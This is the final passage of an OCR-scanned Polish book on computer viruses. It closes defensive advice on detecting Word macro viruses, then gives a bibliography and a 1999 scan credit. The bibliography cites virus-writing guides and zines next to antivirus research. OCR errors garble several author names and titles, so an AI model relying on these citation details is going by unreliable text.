zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych
nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą
opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-NIZATOR/MAKRA, bądź też
NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika
chcącego użyć tych funkcji);
> ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego,
lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ,
PLIK/ZACHOWAJ JAKO), powyższe środki mogą okazać się całkowicie nieskuteczne.
Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego.
ROZDZIAŁ 15
1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992.
2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym
MS-DOS Wydawnictwo PLJ, Warszawa 1993.
3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne,
Warszawa 1990.
4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus,
Warszawa 1992.
5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika),
Wydawnictwa Naukowo-Techniczne, Warszawa 1992.
6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991-
7. Piotr Metzger Anatomia PC Helion, Gliwice 1993.
8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i
expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994,
9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w
pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995.
10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993.
11. Microsoft Word, Podręcznik użytkownika Microsoft Corporation 1994.
12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993.
13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1.
14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989,
15. Marek Sell Help do programu MKS_Vir.
16. Phalcon/Skism: 40HEX (issues 1-14).
17. VLAD: VLAD (issues 1-7).
18. VBB: Viruses Bits & Bytes (issues 1-2).
19. Immortal Riot: Insane Reality (issues 4-6).
20. NuKe: NuKe IntoJournal (issues 4-3).
21. Dark Angel VirGuide (issues L-?).
22. Raif Brown Interrupt list 51,
23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow.
24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic
tcchuology, American Eagle Publications Inc. 1991.
25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of
Hamburg, Germany 1994.
26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io
Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992.
27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of
Sciences, Sofia, Bułgaria.
28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg.
29. Inside the Mind of Dark Ąveriger Personal Computer World, July 1993.
30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995.
31. Sara Gordon Faces Behind the Masks November, England 1994.
32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion
USA, Baltimore, VDS Advanced Research Group 1993.
33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992.
34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst.
35. Epidemiology and Computer Viruses Alan, Solomon 1990.
36. Viriology 101.
37. Anthony Naggs CAROBASE Format Reference revised edition 1993.
38.
Donn Seeley A Tour of the Worm Department of Computer Science, University of
Utah.
--------------- info ------------------
orginal book "Wirusy" by Adam Blaszczyk
scanned and ocr'ed by misha [cp'99]
misha@vc.pl. 1999.06.08
---------------------------------------